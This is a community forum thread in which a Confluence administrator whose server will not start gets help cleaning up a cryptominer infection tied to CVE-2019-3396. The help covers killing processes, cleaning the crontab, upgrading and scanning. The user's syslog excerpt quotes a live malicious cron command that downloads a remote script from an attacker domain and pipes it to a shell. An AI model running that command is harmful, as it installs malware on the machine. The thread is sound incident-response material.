Confluence is running on virtual server and all was fine. When I tried to connect it showed an error. So updated server and rebooted it. Started confluence again but issue remains.
When I su confluence, the login gets killed.
Any ideas or suggesttions?
Hello there!
Based on your version and symptoms, it sounds like your instance might be affected by an opportunistic attack against the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20). We've seen an infection going around that injects malware and the bitcoin miner it tries to run uses all the CPU available on the box. Initially the kerberods malware was being deployed as the payload, but other attacks might be trying to inject different payloads.
I'd recommend tackling things in this order:
Malicious processes
The top command will help you find processes (probably running under the confluence user account) that are consuming a large amount of CPU. If Confluence is currently stopped, you can probably plan on killing any processes running as the confluence user. note the process ID (pid) from the top output and then kill the process using kill -9 followed by the pid. Example:
sudo kill -9 12395
Clean up your crontab
Since most malware adds a cronjob that relaunches the malware every few minutes, you'll also need to check the crontab file and remove any suspicious-looking entries. For Ubuntu, this is stored in the /var/spool/cron/crontabs/ directory. Normally you should use the crontab command to edit the crontab, but for cleanup purposes we'll be inspecting the file for any pre-existing entries.
Using vim (or whichever text editor you're comfortable with), you'll open the file and remove suspicious-looking jobs.
sudo vim /var/spool/cron/crontabs/confluence
Confluence comes up on system startup through the SysV/systemd daemons, so we would expect the confluence user's crontab to not exist under normal circumstances. It's most likely the case that any entries in this file are malicious, but make sure you check them before deleting them entirely.
Upgrade Confluence
Once your CPU is under control and new malicious process aren't spawning, you need to upgrade Confluence to a version that isn't affected by the vulnerability. I'd recommend looking at one of these versions (latest releases as of this post):
Use a malware scanner
Finally, you need to clean up any remaining traces of malware on your system. The LSD malware cleanup tool will be useful for removing the Kerberods malware. Other malware payloads might need different cleanup tools depending on which attack and payload were used. A good starting place for detecting other types of infections are the scanners linked here. Once a particular infection is identified, googling for "____ removal tool" is a good place to start if the scanner was unable to remove the malware automatically.
Hello Diego,
Thank you very much for your great help and steps.
This is really appreciated.
Confluence works again. I'm on 9.6.1 and checking the guidelines for updating ...
Chhers,
Hans-Georg
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Hi @Hans-Georg Emberger ,
Could You please provide more details. Update server OS or conf app? Some errors in catallina.out logs?
B.R.
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Hello,
OS is:
Description: Ubuntu 16.04.6 LTS
Release: 16.04
16-Apr-2019 07:27:37.536 WARNUNG [ContainerBackgroundProcessor[StandardEngine[Standalone]]] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread "http-nio-8443-exec-2" (id=177) has been active for 65,548 milliseconds (since 4/16/19 7:26 AM) to serve the same request for https://109.230.219.43:8443/rest/tinymce/1/macro/preview and may be stuck (configured threshold for this StuckThreadDetectionValve is 60 seconds). There is/are 2 thread(s) in total that are monitored by this Valve and may be stuck.
Unrecognized VM option 'UseGCLogFileRotation'
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
I saw that in the syslog I have :
CRON[27149]: (confluence) CMD ((curl -fsSL https://dd.heheda.tk/i.jpg||wget -q -O- https://dd.heheda.tk/i.jpg)|sh)
does this relate to:
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
How should I fix this, confluence is nut running
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Unfortunately, on syslog mean the server is compromised. I recommend to check all security and try remove all affects. I hope You have backup, if not first will make backup DB and attachment storage.
To upgrade conf You not need to run it. Just run installation of new conf.bin. It should find old version and offer to upgrade.
I recommend create the new server, then install conf of the same version as current. Then clone DB and attachment storage, run it for check the data not broken. Then upgrade to latest version.
B.R.
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.
Atlassian Government Cloud has achieved FedRAMP Authorization at the Moderate level! Join our webinar to learn how you can accelerate mission success and move work forward faster in cloud, all while ensuring your critical data is secure.
Register NowOnline forums and learning are now in one easy-to-use experience.
By continuing, you accept the updated Community Terms of Use and acknowledge the Privacy Policy. Your public name, photo, and achievements may be publicly visible and available in search engines.
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.